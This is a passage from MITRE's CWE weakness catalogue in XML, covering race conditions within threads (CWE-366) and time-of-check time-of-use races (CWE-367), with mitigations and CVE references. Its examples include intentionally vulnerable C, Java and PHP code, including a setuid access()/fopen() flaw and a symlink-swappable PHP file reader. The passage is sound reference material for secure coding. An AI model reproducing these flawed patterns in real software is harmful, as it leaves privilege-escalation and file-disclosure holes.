			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>CLASP</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Applicable_Platforms, Common_Consequences,
						Relationships, Other_Notes, Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-11-24</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-09-27</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples, References, Relationships</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="366" Name="Race Condition within a Thread" Weakness_Abstraction="Base" Status="Draft">
			      <Description>
				        <Description_Summary>If two threads of execution use a resource simultaneously,
					there exists the possibility that resources may be used while invalid, in turn
					making the state of execution undefined.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>362</Relationship_Target_ID>
					          <!--Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>557</Relationship_Target_ID>
					          <!--Concurrency Issues-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">631</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>634</Relationship_Target_ID>
					          <!--Weaknesses that Affect System Processes-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">734</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>748</Relationship_Target_ID>
					          <!--CERT C Secure Coding Section 50 - POSIX (POS)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">844</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>852</Relationship_Target_ID>
					          <!--CERT Java Secure Coding Section 07 - Visibility and Atomicity (VNA)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">868</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>882</Relationship_Target_ID>
					          <!--CERT C++ Secure Coding Section 14 - Concurrency (CON)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>894</Relationship_Target_ID>
					          <!--SFP Cluster: Synchronization-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language Language_Name="C"/>
					          <Language Language_Name="C++"/>
					          <Language Language_Name="Java"/>
					          <Language Language_Name=".NET"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Likelihood_of_Exploit>Medium</Likelihood_of_Exploit>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Technical_Impact>Alter execution
						logic</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Unexpected state</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>The main problem is that -- if a lock is overcome -- data could be
							altered in a bad state.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Use locking functionality. This is the recommended solution. Implement
							some form of locking mechanism around code which alters or reads
							persistent data in a multithreaded environment.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Create resource-locking sanity checks. If no inherent locking
							mechanisms exist, use flags and signals to enforce your own blocking
							scheme when resources are being used by other threads of
							execution.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text/>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code_Example_Language>C++</Code_Example_Language>
							              <Code>int foo = 0;</Code>
							              <Code>int storenum(int num) {</Code>
							              <Block>
								                <Code>static int counter = 0;</Code>
								                <Code>counter++;</Code>
								                <Code>if (num &gt; foo) foo = num;</Code>
								                <Code>return foo;</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>public classRace {</Code>
							              <Block>
								                <Code>static int foo = 0;</Code>
								                <Code>public static void main() {</Code>
								                <Block>
									                  <Code/>
									                  <Code>new Threader().start();</Code>
									                  <Code>foo = 1;</Code>
								                </Block>
								                <Code>}</Code>
								                <Code>public static class Threader extends Thread {</Code>
								                <Block>
									                  <Code/>
									                  <Code>public void run() {</Code>
									                  <Block>
										                    <Code>System.out.println(foo);</Code>
									                  </Block>
									                  <Code>}</Code>
								                </Block>
								                <Code>}</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Affected_Resources>
				        <Affected_Resource>System Process</Affected_Resource>
			      </Affected_Resources>
			      <References>
				        <Reference Reference_ID="REF-17">
					          <Reference_Author>Michael Howard</Reference_Author>
					          <Reference_Author>David LeBlanc</Reference_Author>
					          <Reference_Author>John Viega</Reference_Author>
					          <Reference_Title>24 Deadly Sins of Software Security</Reference_Title>
					          <Reference_Section>"Sin 13: Race Conditions." Page 205</Reference_Section>
					          <Reference_Publication>McGraw-Hill</Reference_Publication>
					          <Reference_PubDate>2010</Reference_PubDate>
				        </Reference>
				        <Reference Reference_ID="REF-7">
					          <Reference_Author>Mark Dowd</Reference_Author>
					          <Reference_Author>John McDonald</Reference_Author>
					          <Reference_Author>Justin Schuh</Reference_Author>
					          <Reference_Title>The Art of Software Security Assessment</Reference_Title>
					          <Reference_Section>Chapter 13, "Race Conditions", Page 759.</Reference_Section>
					          <Reference_Edition>1st Edition</Reference_Edition>
					          <Reference_Publisher>Addison Wesley</Reference_Publisher>
					          <Reference_PubDate>2006</Reference_PubDate>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CLASP">
					          <Mapped_Node_Name>Race condition within a thread</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C Secure Coding">
					          <Mapped_Node_Name>Avoid race conditions with multiple threads</Mapped_Node_Name>
					          <Mapped_Node_ID>POS00-C</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT Java Secure Coding">
					          <Mapped_Node_Name>Ensure that compound operations on shared variables are
						atomic</Mapped_Node_Name>
					          <Mapped_Node_ID>VNA02-J</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT Java Secure Coding">
					          <Mapped_Node_Name>Do not assume that a group of calls to independently atomic
						methods is atomic</Mapped_Node_Name>
					          <Mapped_Node_ID>VNA03-J</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C++ Secure Coding">
					          <Mapped_Node_Name>Use lock classes for mutex management</Mapped_Node_Name>
					          <Mapped_Node_ID>CON02-CPP</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>26</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>29</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>CLASP</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Applicable_Platforms, Common_Consequences,
						Relationships, Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-11-24</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-09-27</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-09-13</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated References, Relationships</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="367" Name="Time-of-check Time-of-use (TOCTOU) Race Condition" Weakness_Abstraction="Base" Status="Incomplete">
			      <Description>
				        <Description_Summary>The software checks the state of a resource before using that
					resource, but the resource's state can change between the check and the use in a
					way that invalidates the results of the check. This can cause the software to
					perform invalid actions when the resource is in an unexpected
					state.</Description_Summary>
				        <Extended_Description>
					          <Text>This weakness can be security-relevant when an attacker can influence the
						state of the resource between check and use. This can happen with shared
						resources such as files, memory, or even variables in multithreaded
						programs.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>362</Relationship_Target_ID>
					          <!--Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">700</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>361</Relationship_Target_ID>
					          <!--Time and State-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">734</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>743</Relationship_Target_ID>
					          <!--CERT C Secure Coding Section 09 - Input Output (FIO)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">868</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>877</Relationship_Target_ID>
					          <!--CERT C++ Secure Coding Section 09 - Input Output (FIO)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>894</Relationship_Target_ID>
					          <!--SFP Cluster: Synchronization-->
				</Relationship>
			      </Relationships>
			      <Relationship_Notes>
				        <Relationship_Note>
					          <Text>TOCTOU issues do not always involve symlinks, and not every symlink issue
						is a TOCTOU problem.</Text>
				        </Relationship_Note>
			      </Relationship_Notes>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Alternate_Terms>
				        <Alternate_Term>
					          <Term>TOCTTOU</Term>
					          <Alternate_Term_Description>
						            <Text>The TOCTTOU acronym expands to "Time Of Check To Time Of Use".</Text>
					          </Alternate_Term_Description>
				        </Alternate_Term>
				        <Alternate_Term>
					          <Term>TOCCTOU</Term>
					          <Alternate_Term_Description>
						            <Text>The TOCCTOU acronym is most likely a typo of TOCTTOU, but it has been
							used in some influential documents, so the typo is repeated fairly
							frequently.</Text>
					          </Alternate_Term_Description>
				        </Alternate_Term>
			      </Alternate_Terms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Likelihood_of_Exploit>Low to Medium</Likelihood_of_Exploit>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Technical_Impact>Alter execution
						logic</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Unexpected state</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>The attacker can gain access to otherwise unauthorized
							resources.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Technical_Impact>Modify application
						data</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Modify files or
						directories</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Modify memory</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Other</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>Race conditions such as this kind may be employed to gain read or
							write access to resources which are not normally readable or writable by
							the user in question.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Technical_Impact>Other</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>The resource in question, or other resources (through the corrupted
							one), may be changed in undesirable ways by a malicious user.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
				        <Common_Consequence>
					          <Consequence_Scope>Non-Repudiation</Consequence_Scope>
					          <Consequence_Technical_Impact>Hide activities</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>If a file or other resource is written in this method, as opposed to
							in a valid way, logging of the activity may not occur.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
				        <Common_Consequence>
					          <Consequence_Scope>Non-Repudiation</Consequence_Scope>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Technical_Impact>Other</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>In some cases it may be possible to delete files a malicious user
							might not otherwise have access to, such as log files.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>The most basic advice for TOCTOU vulnerabilities is to not perform a
							check before the use. This does not resolve the underlying issue of the
							execution of a function on a resource whose state and identity cannot be
							assured, but it does help to limit the false sense of security given by
							the check.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>When the file being altered is owned by the current user and group,
							set the effective gid and uid to that of the current user and group when
							executing this statement.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Limit the interleaving of operations on files from multiple processes.
						</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>If you cannot perform operations atomically and you must share
						access to the resource between multiple processes or threads, then try
						to limit the amount of time (CPU cycles) between the check and use of
						the resource.  This will not fix the problem, but it could make
						it more difficult for an attack to succeed.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Recheck the resource after the use call to verify that the action was
							taken appropriately.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Ensure that some environmental locking mechanism can be used to
							protect resources effectively.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Ensure that locking occurs before the check, as opposed to afterwards,
							such that the resource, as checked, is the same as it is when in
							use.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text/>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code_Example_Language>C++</Code_Example_Language>
							              <Code>struct stat *sb;</Code>
							              <Code>...</Code>
							              <Code>lstat("...",sb); // it has not been updated since the last time it
								was read</Code>
							              <Code>printf("stated file\n");</Code>
							              <Code>if (sb-&gt;st_mtimespec==...){</Code>
							              <Block>
								                <Code>print("Now updating things\n");</Code>
								                <Code>updateThings();</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>Potentially the file could have been updated between the time of the
							check and the lstat, especially since the printf has latency.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example>
					          <Intro_Text>The following code is from a program installed setuid root. The
						program performs certain file operations on behalf of non-privileged users,
						and uses access checks to ensure that it does not use its root privileges to
						perform operations that should otherwise be unavailable the current user.
						The program uses the access() system call to check if the person running the
						program has permission to access the specified file before it opens the file
						and performs the necessary operations.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code>if(!access(file,W_OK)) {</Code>
							              <Block>
								                <Code>f = fopen(file,"w+");</Code>
								                <Code>operate(f);</Code>
								                <Code>...</Code>
							              </Block>
							              <Code>}</Code>
							              <Code>else {</Code>
							              <Block>
								                <Code/>
								                <Code>fprintf(stderr,"Unable to open file %s.\n",file);</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>The call to access() behaves as expected, and returns 0 if the user
							running the program has the necessary permissions to write to the file,
							and -1 otherwise. However, because both access() and fopen() operate on
							filenames rather than on file handles, there is no guarantee that the
							file variable still refers to the same file on disk when it is passed to
							fopen() that it did when it was passed to access(). If an attacker
							replaces file after the call to access() with a symbolic link to a
							different file, the program will use its root privileges to operate on
							the file even if it is a file that the attacker would otherwise be
							unable to modify. By tricking the program into performing an operation
							that would otherwise be impermissible, the attacker has gained elevated
							privileges. This type of vulnerability is not limited to programs with
							root privileges. If the application is capable of performing any
							operation that the attacker would not otherwise be allowed perform, then
							it is a possible target.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-49">
					          <Intro_Text> This code prints the contents of a file if a user has permission. </Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>PHP</Code_Example_Language>
							              <Code>function readFile($filename){</Code>
							              <Block>
								                <Code>$user = getCurrentUser();</Code>
								                <Code/>
								                <Comment>//resolve file if its a symbolic link</Comment>
								                <Code>if(is_link($filename)){</Code>
								                <Block>
									                  <Code>$filename = readlink($filename);</Code>
								                </Block>
								                <Code>}</Code>
								                <Code/>
								                <Code>if(fileowner($filename) == $user){</Code>
								                <Block>
									                  <Code>echo file_get_contents($realFile);</Code>
									                  <Code>return;</Code>
								                </Block>
								                <Code>}</Code>
								                <Code>else{</Code>
								                <Block>
									                  <Code>echo 'Access denied';</Code>
									                  <Code>return false;</Code>
								                </Block>
								                <Code>}</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text> This code attempts to resolve symbolic links before checking the file
							and printing its contents. However, an attacker may be able to change
							the file from a real file to a symbolic link between the calls to
							is_link() and file_get_contents(), allowing the reading of arbitrary
							files. Note that this code fails to log the attempted access
							(CWE-778).</Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2003-0813</Observed_Example_Reference>
					          <Observed_Example_Description> A multi-threaded race condition allows remote
						attackers to cause a denial of service (crash or reboot) by causing two
						threads to process the same RPC request, which causes one thread to use
						memory after it has been freed. </Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-0594</Observed_Example_Reference>
					          <Observed_Example_Description> PHP flaw allows remote attackers to execute
						arbitrary code by aborting execution before the initialization of key data
						structures is complete. </Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2008-2958</Observed_Example_Reference>
					          <Observed_Example_Description>chain: time-of-check time-of-use (TOCTOU) race
						condition in program allows bypass of protection mechanism that was designed
						to prevent symlink attacks.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2008-1570</Observed_Example_Reference>
					          <Observed_Example_Description>chain: time-of-check time-of-use (TOCTOU) race
						condition in program allows bypass of protection mechanism that was designed
						to prevent symlink attacks.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Research_Gaps>
				        <Research_Gap>
					          <Text>Non-symlink TOCTOU issues are not reported frequently, but they are likely
						to occur in code that attempts to be secure.</Text>
				        </Research_Gap>
			      </Research_Gaps>
			      <References>
				        <Reference>
					          <Reference_Author>Dan Tsafrir</Reference_Author>
					          <Reference_Author>Tomer Hertz</Reference_Author>
					          <Reference_Author>David Wagner</Reference_Author>
					          <Reference_Author>Dilma Da Silva</Reference_Author>
					          <Reference_Title>Portably Solving File TOCTTOU Races with Hardness
						Amplification</Reference_Title>
					          <Reference_Date>2008-02-28</Reference_Date>
					          <Reference_Link>http://www.usenix.org/events/fast08/tech/tsafrir.html</Reference_Link>
				        </Reference>
				        <Reference Reference_ID="REF-17">
					          <Reference_Author>Michael Howard</Reference_Author>
					          <Reference_Author>David LeBlanc</Reference_Author>
					          <Reference_Author>John Viega</Reference_Author>
					          <Reference_Title>24 Deadly Sins of Software Security</Reference_Title>
					          <Reference_Section>"Sin 13: Race Conditions." Page 205</Reference_Section>
					          <Reference_Publication>McGraw-Hill</Reference_Publication>
					          <Reference_PubDate>2010</Reference_PubDate>
				        </Reference>
				        <Reference Reference_ID="REF-7">
					          <Reference_Author>Mark Dowd</Reference_Author>
					          <Reference_Author>John McDonald</Reference_Author>
					          <Reference_Author>Justin Schuh</Reference_Author>
					          <Reference_Title>The Art of Software Security Assessment</Reference_Title>
					          <Reference_Section>Chapter 9, "TOCTOU", Page 527.</Reference_Section>
					          <Reference_Edition>1st Edition</Reference_Edition>
					          <Reference_Publisher>Addison Wesley</Reference_Publisher>
					          <Reference_PubDate>2006</Reference_PubDate>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Time-of-check Time-of-use race condition</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="7 Pernicious Kingdoms">
					          <Mapped_Node_Name>File Access Race Conditions: TOCTOU</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CLASP">
					          <Mapped_Node_Name>Time of check, time of use race condition</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C Secure Coding">
					          <Mapped_Node_Name>Be careful using functions that use file names for
						identification</Mapped_Node_Name>
					          <Mapped_Node_ID>FIO01-C</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C++ Secure Coding">
					          <Mapped_Node_Name>Be careful using functions that use file names for
						identification</Mapped_Node_Name>
					          <Mapped_Node_ID>FIO01-CPP</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <White_Box_Definitions>
				        <White_Box_Definition>
					          <Text>A weakness where code path has:</Text>
					          <Block>
						            <Text>1. start statement that validates a system resource by name rather
							than by reference</Text>
						            <Text>2. end statement that accesses the system resource by the name</Text>
					          </Block>
				        </White_Box_Definition>
			      </White_Box_Definitions>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>27</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>29</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="External">
					          <Modifier_Organization>KDM Analytics</Modifier_Organization>
					          <Modification_Date>2008-08-01</Modification_Date>
					          <Modification_Comment>added/updated white box definitions</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Relationships, Other_Notes,
						Taxonomy_Mappings</Modification_Comment>
